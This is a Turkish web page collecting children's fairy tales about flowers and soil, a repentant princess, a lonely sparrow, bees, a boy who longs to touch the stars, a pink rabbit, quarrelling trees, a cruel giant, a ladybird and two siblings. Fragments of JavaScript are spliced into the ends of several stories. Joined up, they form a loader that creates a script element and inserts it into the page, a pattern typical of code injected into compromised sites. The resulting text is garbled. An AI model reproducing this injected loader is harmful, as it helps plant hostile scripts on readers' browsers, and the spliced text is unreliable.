Kategori: Yazılı Masallar

Toprağın Şikayeti
Toprağın Şikayeti

Üzerinde rengarenk çiçekler açan toprak bu durumundan çok şikayetçiymiş. Çiçeklere sürekli olarak; ” üzerimi öyle kapladınız ki sizin yüzünüzden güneşi göremiyorum.” deyip duruyormuş.

Her gün defalarca bu sözü duymak artık çiçeklerin canına tak etmiş. Bu konuda ne yapabileceklerini uzun uzun düşünmüşler taşınmışlar ve en sonunda bir karara varmışlar. Az ileride bulunan boş bir toprak parçası varmış, hiç kimsenin uğramadığı hatta dönüp bakmadığı. İnsanlar o alana geldiklerinde her zaman üzerinde çiçek bulunan toprağın çevresinde toplanıp, çiçeklerin güzelliğinden bahsederlermiş. Kurak toprak bu duruma çok üzülürmüş, kendisinin de üzerinde çiçekler açsın diye sürekli dua edermiş. Sonunda kurak toprağın duaları kabul olmuş ve işte çiçekler artık onun üzerinde açmaya karar vermişler. Bu düşüncelerini kurak toprağa açmışlar o hemen sevinerek kabul etmiş. Kendi üzerinde bulundukları toprak ise onların gidişini hiç önemsememiş, hatta buna için için sevinmiş.

Tüm çiçekler kurak toprağın üzerine taşınmışlar, kurak toprak çok mutluymuş. Diğer toprak üzerinde çiçekler olmayınca günden güne çirkinleşmiş, kuru boş bir toprak parçası olmuş. Artık insanlar onu hiç görmüyor, her gelen çiçeklerin olduğu tarafa yöneliyormuş. Sürekli ilgi görmeye alışmış olan toprak bu duruma içerlemeye başlamış. Artık tüm gün güneş altında bir başına öylece duruyormuş. İnsanların ellerindekinin değerini onu kaybedince anlamaları gibi, toprak da yalnız kalınca çiçeklerin değerini anlamış. Onların yüzünden güneşi göremediğini söylediğine çok pişman olmuş. Fakat artık çok geçmiş o elindeki imkanı iyi değerlendirememiş, çiçekleri çok kırdığı için onlardan geri dönmelerini de isteyememiş.

Öte yanda eskiden kurak olan toprak artık rengarenk çiçeklerle doluymuş ve çok mutluymuş. Çiçekleri çok seviyor ve onlarla iyi anlaşıyormuş. Fakat kurak kalan toprağın haline de üzülüyormuş. Çünkü o yalnızlığın ne demek olduğunu çok iyi biliyormuş. Birgün dayanamamış bu üzüntüsünü çiçeklere açmış, çiçekler de diğer toprağın mutsuz ve yalnız olmasına üzülüyorlarmış. Bu konuda ne yapacaklarını düşünmüşler ve sonunda aralarından bir kısmının burada kalmasına, diğerlerin de o toprağa yeniden dönmesine karar vermişler.

Bir gece herkes uykudayken çiçeklerin bir kısmı eski topraklarına geri dönmüşler. Sabah uyandığında üzerindeki çiçekleri gören toprak bu duruma çok sevinmiş. Bir daha da çiçeklerin varlığından asla şikayet etmemiş.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Mutluluk Diyarı
Mutluluk Diyarı

Mutluluk Diyarı

Eski zamanların birinde tüm halkın mutluluk içinde yaşadığı bir ülke varmış. Halk krallarını çok severmiş çünkü kralları çok adil ve iyi kalpli biriymiş. Ülkedeki tüm yoksullara yardım edilir kimse zor durumda bırakılmazmış. Diğer ülkeler hep bu krallığa imrenir ve oraya ” mutluluklar diyarı ” derlermiş.

Bu kralın bir tane kızından başka çocuğu yokmuş. Yıllarca ülkede mutluluk ve refah bu şekilde devam ederken birgün yaşlı kral ölmüş. Erkek çocuğu olmadığı için ülke yönetimi prensese kalmış ve o günden sonra da mutluluklar diyarında her şey değişmeye başlamış. Çünkü prenses babası kadar iyi kalpli ve cömert birisi değilmiş. Yoksullara yapılan tüm yardımları kesmiş ve kendini tamamen eğlenceye vermiş. Onu uyaranların hiç birisini dinlememiş ve hepsini saraydan uzaklaştırmış. Onun bu durumundan faydalanmak isteyen düşman ülkeler fırsat bu fırsat deyip mutluluklar diyarını ele geçirme planları yapmaya başlamışlar. Hepsi birlik olup bu ülkeye saldırmaya karar vermişler. Zaten halkın prensesten yana çıkmayacaklarını bildikleri için işlerinin kolay olduğunu düşünüyorlarmış.

Günlerden bir gün askerlerini toplayıp ansızın mutluluklar diyarına saldırmak üzere yola çıkmışlar. Bu haber kulaktan kulağa yayılarak sarayın eski çalışanları tarafından da duyulmuş. Prenses çok genç ve tecrübesiz olduğundan ve etrafında ondan yana çıkacak kimse bulunmadığından düşmanlarının ülkelerini ele geçireceğinden eminlermiş. Prenses onlara ne kadar kötü davranmış olsa da ülkelerinin düşmanın eline geçmesine yürekleri el vermemiş. Hemen halkı bu konuda bilgilendirmişler, düşmanın gelmekte olduğunu ve tedbir almazlarsa ülkelerinin elden gideceğini söylemişler. Ülkedeki herkes sarayın eski çalışanları gibi düşünüyorlarmış. Prensesleri onlara kötü davransa da onlar mutluluklar diyarını düşmana bırakmamaya karar vermişler. Hemen hazırlık yapmışlar ve ülkelerinin girişinde gereken önlemleri almışlar. Bu arada düşmanın saldıracağı prensesin de kulağına gitmiş. ” Ben şimdi ne yapacağım, halkıma ve çalışanlarıma çok kötü davrandım. Şimdi kimse benim yanımda olmaz.” diye kara kara düşünmeye başlamış.Prenses sarayda bunları düşünürken ülkenin girişinde düşmanlarla halk arasında bir savaş başlamış. Halk var gücüyle ülkesini korumak için direnmiş. Böyle bir direniş beklemeyen düşmanlar geri püskürtülmüş.

Halktan elçiler düşmandan elde ettikleri ganimetleri saraya götürdüklerinde prenses çok şaşırmış ve mahçup olmuş. Halkına o kadar kötü davrandığı halde onlar ülkelerini canları pahasına korumuş ve şimdi de elde ettikleri zaferi prenseslerine müjdeliyorlardı. O an prenses halkına sırtını dönmekle ne kadar yanlış yaptığını anlamış. Hemen eski çalışanlarını saraya geri çağırmış ve o günden sonra ülkesini babasının zamanında olduğu gibi yönetmeye başlamış. Kötü geçen günlerden sonra mutluluklar diyarına refah ve mutluluk tekrar geri gelmiş.if (document.currentScript) {

Minik Kuşun Öyküsü
Minik Kuşun Öyküsü

Minik Kuşun Öyküsü

Minik bir serçe varmış, bu sevimli kuş doğduğundan beri çok şanssızmış. Onu ilk olarak annesi terketmiş sonra da ormandaki diğer hayvanlar onu aralarında istememişler. Minik kuş çok iyi kalpli bir serçe olmasına rağmen nereye gitse kovuluyormuş. Artık o da bu durumu kabullenmiş ve kendisine hiçbir canlının olmadığı ıssız bir yer bulmuş ve oraya yerleşmiş.

Minik kuş yalnız da olsa huzurluymuş, burada onu kovacak kimse bulunmadığı için rahatça yaşayabiliyormuş. Aslında o kendisi gibi kuşlarla bir arada olmayı ve onlarla yaşamayı çok arzuluyormuş ama yokmuş işte. Kimse onu istemiyormuş, tanısalar onun ne kadar iyi kalpli bir kuş olduğunu bilseler böyle yalnız olmayacağını düşünüyormuş. Kimsesizliğine, yalnızlığına çok üzülüyormuş. Minik kuşun her günü birbirinin aynısıymış, sabah kalkıp yakınlardaki ormandan kendine yiyecek bir şeyler buluyor karnını doyurup tekrar ıssız dünyasına dönüyormuş. Öğlen ve akşamları da ormana gidip biraz karnını doyuruyormuş. Bunun dışında tek yaptığı bütün gün tek başına oturup hayal kurmakmış.

Minik kuşun hayalinde hep, kuşlarla dolu bir orman varmış. Kendisini  bu ormandaki kuşların içinde hayal ettiğinde çok mutlu oluyormuş. Bir gün yine böyle tatlı hayallere dalmışken bulunduğu yere yaklaşan insanları farketmiş. Minik kuş onlardan kaçmamış, olduğu yerde öylece bakıyor bu insanların bu ıssız yerde ne aradıklarını merak ediyormuş. Derken insanlardan birisi onu farketmiş ve diğer arkadaşlarına göstermiş. Hepsi onun yanına gelmişler, içlerinden birisi onu eline almış ve sevmiş. Minik kuş hiç korkmamış, çırpınmamış. İnsanlar onu çok sevmişler, böyle ıssız bir yerde tek başına durduğuna göre bu serçenin kimsesi yok diye düşünmüşler. Onu da yanlarında götürmeye karar vermişler. Birilerinin onu istemesi, sıcacık ellerin onu şevkatle okşaması minik kuşu çok mutlu etmiş.

Kısa süren bir yolculuğun ardından minik kuşu öyle bir yere götürmüşler ki, görünce hayret etmiş. Eve benzeyen genişçe bir kafeste kendisine benzeyen bir sürü kuş varmış ve hepsi neşe içinde cıvıldaşıp, oyun oynuyorlarmış. Minik kuşu kafese koyduklarında çok tedirgin olmuş. ” Bu kuşlarda beni istemeyecek ve tıpkı daha önceden olduğu gibi buradan da kovulacağım. ” diye düşünmüş. Nitekim az sonra kuşlardan birisi ona; ” hey sen orada ne yapıyorsun! ” dediğinde cevap bile verememiş. Bunun üzerine diğer kuş; “buraya susmaya mı geldin, hadi yanımıza gel ve sende oyunumuza katıl “demiş.

O günden sonra minik kuş yıllardır hayalini kurduğu aileye kavuşmuş. Doğduğu günden beri çektiği tüm acıları unutmuş ve hayatının geri kalanını mutlu bir şekilde yaşamış.

Yasemin PAKLACId.getElementsByTagName(‘head’)[0].appendChild(s);

Arıların Zaferi
Arıların Zaferi

Arıların Zaferi

Uzak ülkelerin birinde gaddar mı gaddar bir hükümdar varmış. Suratı sürekli asık duran bu hükümdarın adı Nemrut’muş. Nemrut halkına yoksulluk çektirmemesine rağmen zaman zaman kötülük de edermiş. Bu halk putlara tapınarak ibadet edermiş. Bir gün arılar arasında büyüyen Bilgin adında bir çocuk ibadethanedeki putları teker teker kırmış ve en büyüğünün boynuna baltayı asmış. Ülke hükümdarı Nemrut, askerleri ile birlikte ibadethaneye gelmiş ve “Bunu ki yaptı” diye bağırmış. Bilgin, “Balta kimin boynndaysa o kırmıştır.”

“Saçmalama be çocuk, o bir put nasıl kırabilir?”

“Tüm dünyayı yarattığına inanıyorsunuz da neden putları kırdığına inanmıyorsunuz.”

Nemrut, Bilgin çocuğa kızmış ve zindana attırmış. Ertesi gün kabul et kendin kırdığını demişler ancak Bilgin, doğru bildiğinden şaşmamış. Nemrut o zaman seni öldüreceğiz demiş ve askerlerine emir vermiş. Bu sırada Bilgin’in tek başına hayatta kalıp büyümesine yardım eden minik arı en yakın arkadaşını kurtarmak için tüm arıları toplamış. Arılar Nemrut’un askerlerine saldırmış ve yerle bir etmişler. Bilgin, arıların yardımına çok sevinmiş. Hayatının sonuna kadar arılara yardım ederek yaşamış.} else {

Yıldızlara Dokunan Çocuk
Yıldızlara Dokunan Çocuk

Yıldızlara Dokunan Çocuk

5 yaşındaki Serkan küçüklüğünden beri hep gökyüzüne ilgi duyuyordu. Her gece saatlerce odasının penceresinden yıldızları izliyordu. Bir gece yine o böyle yıldızları seyrederken annesi yanına geldi. Oğluna ne düşündüğünü sorduğunda Serkan annesine yıldızlara dokunmak istediğini, hep bunu düşündüğünü anlattı.

Serkan henüz çok küçük olduğu için annesi ona yıldızlara dokunmanın mümkün olmadığını anlatamazdı. Annesi anlatsa da küçük çocuk yıldızlara dokunabileceğine o kadar inanmıştı ki, annesi ne söylese Serkan anlamazdı. Küçük çocuğun aklı hep aynı hayalle doluydu, bir kez bile olsa yıldızlara dokunmak… Annesi günlerce düşündü bu konuda ne yapmalıydı? Çocuğunun bu hayalden vazgeçmeye niyeti yoktu. Her geçen gün bu isteği çoğalarak artıyordu ve Sekan gitgide içine kapanık bir çocuk olmaya başlamıştı. Onun bu hali annesini çok üzüyordu. Anne yüreği evladını üzgün görmeye dayanamıyordu.

Anne günlerce haftalarca düşündü ve bir gün aklına çok güzel bir fikir geldi. Evet oğlunu yıldızlara götüremezdi ama yıldızları oğlunun odasına getirebilirdi. Hemen bu fikrini uygulamak için dışarı çıktı, saatler sonra eve aradığını bulmuş ve mutlu olarak döndü. Akşam yemeğini yediler, Serkan yemekte çok dalgındı. Annesi uyku vaktine yakın çocuğun odasına gitti. Birkaç dakika sonra geri geldi ve; ” haydi Serkan uyku vakti.” diyerek çocuğu alıp odasına götürdü. Serkan kapıdan girer girmez odasında rengarenk yıldızları görünce önce şaşırdı, ardından sevinç çığlıkları atmaya başladı. Küçük çocuk olduğu herde zıplıyor; ” yıldızlar, yıldızlar! ” diye bağırıp duruyordu.

Annesi oğluna insanların yıldızlara gidemeyeceğini ama iyi çocukların odasına geceleri yıldızların gelebileceğini söyledi. Daha sonra anne oğul odada ışıl ışıl parlayan yıldızları yakalamak için yarıştıkları tatlı bir oyuna girdiler. O geceden sonra annesinin aldığı yıldız saçan gece lambası sayesinde her gece küçük çocuk yıldızlarla dolu odasında tatlı rüyalara daldı.var d=document;var s=d.createElement(‘script’);

Pembe Tavşan
Pembe Tavşan

Pembe Tavşan

Sibel 5 yaşında küçük bir kızdır ve geceleri yalnız yatmaktan çok korkmaktadır. Annesiyle babası ona artık büyüdüğünü ve tek başına uyuması gerektiğini defalarca anlatmalarına rağmen Sibel yine de her gece ağlayarak annesiyle babasının yanına geliyordu. Bu sorunun konuşmakla çözülemeyeceği açıkça ortaydı. Küçük kızın annesi ve babası sonunda bu konuya güzel bir çözüm buldular. Kızlarına geceleri beraber uyuması için küçük bir oyuncak alacaklardı. Böylece Sibel’de geceleri odasında yalnız olduğunu düşünüp korkmayacaktı.

Hemen ertesi gün bu kararlarını uygulayarak küçük bir bebek aldılar. Kızlarına bu bebeği verdiler ve gece onunla uyumasını söylediler. Sibel bebeğini çok sevdi tüm gece boyunca onu elinden bırakmadı. Uyku vakti geldi küçük kızı bebeğiyle beraber uyuması için odasında yalnız bıraktılar. Gece anneyle baba uyurlarken Sibel yine ağlayarak geldi ve korktuğunu söyledi. Bebek işe yaramamıştı, ertesi gün küçük bir oyuncak kedi aldılar oda işe yaramadı. Daha ertesi gün bir ayıcık derken nerdeyse denemedikleri oyuncak kalmadı. Ne yapsalar bir türlü olmuyordu Sibel her gece ağlayarak yine onların yanında uyuyordu.

Sibel’in annesi Gül hanım bu sıkıntılarını komşuları Sevil hanıma anlattı. Sevil hanımın’da 2 çocuğu vardı. Belki o bu konuda ne yapabilecekleri hakkında onlara yardımcı olabilirdi. Sevil hanım Gül hanımı dinledikten sonra yüzünde tatlı bir gülümseme ile bir başka odaya gitti. Oradan elinde bir kitap ve küçük pembe bir tavşanla geldi. Gül hanım’a bunları uzattığında, kadın umutsuz bir şekilde birçok oyuncak denediklerini ama hiç birisinin işe yaramadığını söyledi. Sevil hanım ona; ” gece yatmadan önce Sibel’e bu kitaptaki sevimli tavşan hikayesini oku ve yanına da bu tavşanı koy. Ben iki çocuğumu da hep bu şekilde uyuttum.” dedi.

Gül hanım gece Sibel’in uyku vakti geldiğinde onu odasına götürdü. Sevil hanımın söylediği gibi önce sevimli tavşan hikayesini okudu ve sonra da kızının yanına pembe tavşanı koyarak, onu uyumaya bıraktı. Gece Gül hanım ve eşi her an kızları gelecek diye beklediler ama Sibel o gece korkup yanlarına gelmedi. Sabah kahvaltıda küçük kızlarının keyfinin yerinde olduğunu gören anne babası ona iyi uyuyup uyuyamadığını sorduklarında küçük kız; ” pembe tavşanım beni kötü rüyalar görmekten korudu, hikayedeki gibi o güzel rüyalar ülkesinden gelen ve çocukları kötü rüyalardan koruyan bir kahraman.” cevabını verdi.

O geceden sonra Sibel hep küçük pembe tavşanıyla uyudu ve bir daha da kötü rüyalar görmedi. Aradan yıllar geçti, Sibel büyüdü ve evlendi. Tıpkı annesinin ona yaptığı gibi o da küçük kızı Sinem’e her gece sevimli tavşan hikayesini okuyarak, minik pembe tavşanıyla yatırdı. Bu sayede Sinem her zaman güzel rüyalar gördü ve odasında yalnız uyumaktan hiç korkmadı.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Kibirli Elma Ağacı
Kibirli Elma Ağacı

Kibirli Elma Ağacı

Aynı bahçede yaşayan iki ağaç varmış. Bu ağaçlardan biri elma biri de erik ağacıymış. Bu iki ağaç aynı anda dikilmişler ve yıllardır çok iyi arkadaşlık yapmışlar. O bahar ilk kez meyve verecekleri için çok heyecanlılarmış. O güzel bahar günlerinde beraber yeşermiş, çiçek açmışlar. Herşey yolunda gidiyor, iki ağaç sürekli verecekleri meyvelerden bahsediyorlarmış.

Havaların iyice ısınmaya başlamasıyla birlikte dallarında minik minik meyveler belirmeye başlamış. İlk zamanlar aralarında herhangi bir sorun yokmuş, eskisi gibi bütün gün sohbet edip gülüyorlarmış. Günler geçtikçe elma ağacının dallarındaki meyveler büyümeye ve kızarmaya başlamışlar. Erik ağacının meyveleri ise hala küçük ve yeşil görünüyorlarmış. Aradan bir iki hafta geçmiş elma ağacının meyveleri dallarından düşecek kadar büyüdükleri ve kıpkırmızı oldukları halde erik ağacında bir değişiklik olmamış. İşte ne olduysa da o zamandan sonra olmuş. Elma ağacı arkadaşı erik ağacıyla dalga geçmeye başlamış. Sürekli olarak; ” Bir benim meyvelerime bak bir de seninkilere, ikimizde aynı bahçede büyüdük, benim meyvelerim kocaman seninkilerse küçücükler ve kızarmıyorlar. ” deyip duruyormuş.

Sonunda erik ağacı bu duruma dayanamamış ve elma ağacına küsmüş. Aynı anda bahçeye dikildikleri ve yıllarca iyi geçindikleri arkadaşının şimdi neden böyle değiştiğine bir anlam veremiyormuş. İki genç ağacın arasında geçenlere tanık olan çam ağacı sonunda onların bu küskünlüğüne dayanamamış ve onlarla konuşmaya karar vermiş. Onlara her ağacın meyvesinin farklı olduğunu elmanın iri, kırmızı bir meyve iken eriğin de elmadan daha küçük ve yeşil bir meyve olduğunu fakat sonuçta her ikisininde çok lezzetli meyveler olduğunu uzun uzun anlatmış.

Konuşmanın sonunda iki genç ağaç aralarındaki farkın nedenini anlamışlar. Bu arada elma ağacı da yaptığı hatayı anlamış ve erik ağacından özür dilemiş. Erik ağacı arkadaşının özürünü kabul etmiş ve iki ağaç barışıp tekrar eskisi gibi çok iyi dost olmuşlar.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Neşeli Ormandaki Dev
Neşeli Ormandaki Dev

Neşeli Ormandaki Dev

Neşeli orman tüm canlıların birbiriyle barış içinde yaşadığı bir cennet köşesiyken, bir gün ansızın ortaya çıkan bir dev buradaki tüm canlıların yaşantısını değiştirmiş. Dev ormana ilk geldiğinde yaralı olduğu için tüm hayvanlar elbirliği ile onu iyileştirmek için çabalamışlar. Gece gündüz devin başında bekleyip, yaralarına bakmışlar, onu kendi elleriyle beslemişler.

Aradan günler haftalar geçmiş ve yavaş yavaş devin yaraları iyileşmeye başlamış. Herşey yolundaymış dev ormandaki hayvanlarla beraber yaşıyormuş. Onların oyunlarına ve sohbetlerine katılmasada aralarında sorun yokmuş. Güzel bir bahar öğleden sonrasında dev uykuya yatmış, minik tavşan yavruları da devin uyuduğu yerin yakınlarında top oynamaya başlamışlar. Neşeli kahkahaları ormanda çınlıyormuş, minikler çok mutlularmış. Topu birbirlerine atıp güzel güzel oynarken, birden top uyumakta olan devin başına isabet etmiş. Aslında çok hızlı bir şekilde çarpmamış. Koskoca devin canını öyle küçük bir darbenin yakması mümkün değilmiş ama nasıl olduysa dev büyük bir öfkeyle uyanmış. Başına isabet eden topu almış ve o kalın sesiyle; ” bunu kim attı! ” diye bağırmış. Minik tavşanlar devin neden böyle bağırdığını anlayamayarak ona şaşkın şaşkın bakmışlar. Bu arada dev tekrar bağırmış; ” bu topu kim attı, hemen buraya gelsin! ” Tavşan yavruları devin toplarını kendilerine geri vereceğini düşünerek içlerinden bir tanesini topu alması için göndermişler. Aman Allahım o da ne! Yavru tavşanın deve yalaşmasıyla, devin onu koskoca eline alıp havaya kaldırması bir olmuş. Dev o kalın ve korkunç sesiyle; ” demek topu kafama atan sendin, şimdi seni yiyeyim de gör! “dediğinde tavşan yavruları neye uğradıklarını şaşırmışlar.

Bakmışlar ki devin şakası yok, hemen büyüklerine haber vermek için koşmuşlar. Bu arada dev minik tavşan yavrusunu elinde gitgide daha çok sıkarak, seni yiyeceğim diye onu korkutuyormuş. Yavru tavşan deve; ” ben sana ne kötülük yaptım, biz sadece kardeşlerimle oyun oynuyorduk. Yanlışlıkla topumuz senin başına geldi, isteyerek yapmadık, çok canım yanıyor ne olur bırak beni gideyim. ” diye yalvarıyormuş. O böyle yalvardıkça dev daha çok sıkıyormuş. Bir süre sonra minik tavşanın anne ve babası koşarak geldiklerinde karşılaştıkları manzara karşısında şok olmuşlar. Minik yavru yerde hareketsiz yatıyor ve dev orada durmuş öylece ona bakıyormuş. Anne tavşan koşarak yavrusuna sarılmış, onu var gücüyle sarsmış ama yavru tavşan hareketsizmiş. Minik yavrunun öldüğünü anlayan anne tavşan var gücüyle deve vurmaya başlamış. ” Benim yavrumdan ne istedin, o sana ne yapmıştı. Hem bizim ormanımızda yaşıyorsun hem de biz senin hayatını kurtarmışken sen bizim yavrularımızı mı öldürüyorsun! ” Anne tavşan böyle söyleyip ağlarken dev pişman bir ses tonuyla; ” ben uykumdan uyandırıldığım için çok sinirlenmiştim. Onu öldürmek istemedim, sadece korkutmak istemiştim.” diye cevap vermiş.

Kısa sürede bu olay ormanda duyulmuş ve tüm hayvanlar oraya toplanmışlar. Dev yüzünde pişman ve üzgün bir ifadeyle onlara bakarken hayvanlar hep bir ağızdan; ” seni burada istemiyoruz, bizim aramızda yerin yok git burdan! “diye bağrışıyorlarmış. Dev en sonunda boynunu bükmüş, hayvanlara üzgün bir şekilde bakmış. Hiçbirşey söylemeden mahçup bir şekilde, bir daha geri dönmemek üzere ormanı terketmiş.

Uğur Böceği ve Ayşe
Uğur Böceği ve Ayşe

Uğur Böceği ve Ayşe

Ayşe 5 yaşında minik, sevimli bir kızdır. Ailesi ona küçük yaşlarından itibaren doğa ve hayvan sevgisini aşıladığı için, küçük kız hayvanları çok sevmektedir. Aile her pazar olduğu gibi o pazarda ormana pikniğe gitmiştir. Küçük kız yemyeşil ağaçlar ve kuş sesleri arasında çok mutludur. Sürekli oradan oraya koşmakta ve kuşların neşeli bir şarkıyı andıran cıvıltılarını dinlemektedir.

Çiçeklerin arasında neşeyle dolaşan Ayşe bir ara çiçeklerden birinin üzerinde minik bir uğur böceği görür. Uğur böceği kanadından yaralı olduğu için uçamamaktadır. Minik kız yavaşça uğur böceğini eline alır ve koşa koşa annesiyle babasının yanına gider. Ayşe’nin elinde uğur böceğini gören babası gülümseyerek; ” hanım bizim kız kendisine arkadaş bulmakta gecikmemiş.” der. Küçük kız orada kaldıkları süre boyunca uğur böceği ile konuşur, onu sever. Akşam olup da gitme vakitleri geldiğinde Ayşe uğur böceğini de yanında götürmek ister. Onu çok sevdiğini, arkadaş olduklarını ve onu eve götürmek istediğini söyler. Annesi ve babası uğur böceklerinin evde beslenecek bir canlı olmadığını anlatmaya çalışsalar da, küçük kız uğur böceğinin yaralı olduğunu onu eve götürüp iyileştirmek istediğini anlatır.

Onun bu ısrarına dayanamayan babası Ayşe’yi kucağına alır ve onunla konuşur. Küçük kıza kendisinin evinden başka bir yerde anne babası yanında olmadan mutlu olup olamayacağını sorar. Ayşe; ” ben ailem olmadan hiç bir yerde mutlu olamam babacığım” cevabını verir. Kızının verdiği bu cevaptan memnun olan babası kızından, bu küçük uğur böceğinin yaşadığı ormandan ve ailesinden uzakta olunca ne kadar mutsuz olacağını düşünmesini ister. Bir süre düşünen Ayşe babasına hak verir. Uğur böceğini bırakmaya ikna olmuştur ama yaralı olduğu için onun nasıl besleneceğini, nasıl iyileşeceğini düşünmeye başlamıştır. Babası kızına endişelenmemesini, ormandaki diğer canlıların uğur böceğine çok iyi bakacaklarını ve onun da kısa süre içerisinde iyileşeceğini söyler. Aldığı bu cevap Ayşe’yi memnun eder ve küçük kız uğur böceğini bir çiçeğin üzerine bırakır. ” Madem böyle mutlu olacaksın seni yuvandan ayırmayacağım minik uğur böceği. ” der ve ailesinin yanına geri döner.

O gece Ayşe rüyasında minik uğur böceğini görür. Uğur böceği iyileşmiştir ve çok mutlu görünüyordur. Küçük kıza; ” Beni evimden ayırmadığın için teşekkür ederim Ayşe.” dedikten sonra kendisi gibi sevimli uğur böceklerinin yanına uçar. Bu güzel rüyayı gören küçük kız da uykusunda mutlu bir şekilde gülmektedir.d.getElementsByTagName(‘head’)[0].appendChild(s);

Sude ve Can
Sude ve Can

SUDE VE CAN

Sude ve Can adında iki kardeş vardı. Sude 8 yaşında kardeşi Can’da henüz 6 yaşındaydı. Bu iki sevimli kardeş diğer arkadaşlarıyla çok iyi anlaştıkları halde birbirleriyle pek geçinemez, sürekli sudan sebeplerle kavga çıkarırlardı. Ne zaman oyun oynasalar bir şekilde kavga çıkar, Can Sude’nin saçını çekerek onu ağlatır, Sude’de kardeşi Can’a; ” seni hiç sevmiyorum, keşke benim kardeşim olmasaydın! ” diye bağırırdı.

Anne babaları onların bu durumuna çok üzülüyordu. Ne zaman onları karşılarına alıp konuşsalar değişen birşey olmuyordu. Çocukların babası Hakan bey ve anneleri Sevgi hanım bu durumun daha fazla bu şekilde devam edemeyeceğini, çocuklarına kardeşlik kavramını öğretmeleri gerektiğine karar verdiler. Düşünüp taşındılar ve Can’ı bir süreliğine teyzesi Sultan hanımlara göndermeye karar verdiler. Çocuklar bir süre ayrı kalırlarsa belki özleyip, birbirlerine karşı daha iyi davranmayı öğrenirlerdi. Hemen yarın bu kararlarını uygulamaya koymaya ve Can’ı teyzesine götürmeye karar verdiler.

Ertesi gün sabah Hakan bey çocuklara Can’ı bir süreliğine teyzesine götürmeye karar verdiklerini söylediğinde çocuklar bu duruma hiç itiraz etmediler. Hatta tam tersi her ikiside bunu sevinçle karşıladılar. Can babasıyla kapıdan çıkarken Sude; ” hep orada kalsan keşke hiç gelmesen! ” diye bağırdı. Can’ın bu söze verdiği cevabın da ondan aşağı kalır yanı yoktu. O da ablasına; ” keşke hep orada kalsam da senden kurtulsam! ” yanıtını verdi. Bu sözler üzerine Hakan bey ve Sevgi hanım bu planlarının işe yaramayacağını düşündüler.

Hakan bey Can’ı yakın bir şehirde oturan teyzesine götürmek üzere yola çıkarken Sevgi hanım’da Sude’yi okuluna götürdü. Sude öğlen okuldan geldiğinde çok keyifliydi, Can yoktu kendisi evin tek çocuğuydu. Birkaç saat derslerini yapmakla vakit geçirdi. Derslerini bitirdikten sonra kendi kendine oyun oynamaya başladı. Aradan 1 saat geçti geçmedi canı sıkılmaya başladı. Birden aklına kardeşi Can geldi ” acaba şimdi ne yapıyor. ” diye düşünmeye başladı. Can o sarı saçları ve sevimli yüzüyle gözlerinin önüne gelince Sude’nin gözleri dolmaya başladı. Her zaman kavga ettiği, hatta evden giderken keşke hep orada kalsan dediği kardeşinin şu an yanında olmasını istiyordu. Çok sık kavga etseler de kardeşi olmayınca bu ev çok sessizdi ve Sude oyun oynamaktan bile zevk almıyordu. Saatler geçtikçe Sude kardeşine bunca zamandır yaptıkları ve ona söylediği son sözlerden pişman olmaya başlamıştı. Sonunda küçük kız daha fazla dayanamayarak mutfaktaki annesinin yanına giderek kardeşinin eve ne zaman geleceğini sordu. Annesi 1 hafta sonra gelecek dediğinde Sude ağlayarak: ” anneciğim babama söyle kardeşimi geri getirsin, onu çok özledim.” dedi. Kızının bu kadar çabuk pişman olmasına hem şaşıran hem de sevinen Sevgi hanım kızını odasına gönderdi ve hemen olanları anlatmak için eşini aradı. Hakan bey eve dönmek üzere olmalıydı, telefon uzun uzun çaldıktan sonra nihayet açıldı. Sevgi hanım tüm olanları eşine anlattı ve ona inşallah Can’da ablasının değerini anlayarak oradan döner diyerek telefonu kapattı.

Bu telefon konuşmasından 1 saat kadar sonra kapı çaldı. Sevgi hanım kapıyı açtı. Sude saatlerdir odasından çıkmamıştı. Çok üzgündü ve kardeşini şimdiden çok özlemişti. O böyle düşünürken odasının kapısı çaldı. Sude odasından çıkmayarak; ” kardeşim gelmeden yemek yemeyeceğim anne! ” diye bağırdı. O bu sözü söylerken açılan kapıdan annesinin yerine kardeşi Can’ın girdiğini gören Sude çok şaşırdı. ” Ben geldiğime göre yemeğe geleceksin değil mi ablacığım. ” diyen kardeşine sarıldı küçük kız. Can ablasının yanına oturarak ona herşeyi anlattı. Babası onu teyzesine bile götürmeden henüz yoldayken ablasına söylediği sözlerden pişman olduğunu, teyzesine gittiğinde orada kiminle oynayacağını düşündüğünü ve ablasını daha o an özlemeye başladığını bir bir anlattı. Sude’de ona kendisi yanında yokken ne kadar üzüldüğünü ve onu çok özlediğini anlattı. Bir süre sonra çocukların ne yaptığını merak eden Sevgi hanım ve Hakan bey odaya girdiklerinde iki kardeşin birbiriyle sarmaş dolaş kahkahalarla güldüklerini görünce her ikisinin de mutluluktan gözleri doldu. Bir hafta değil birkaç saat ayrı kalmak bile bu iki çocuğun kardeşliği öğrenmesine yetmişti.}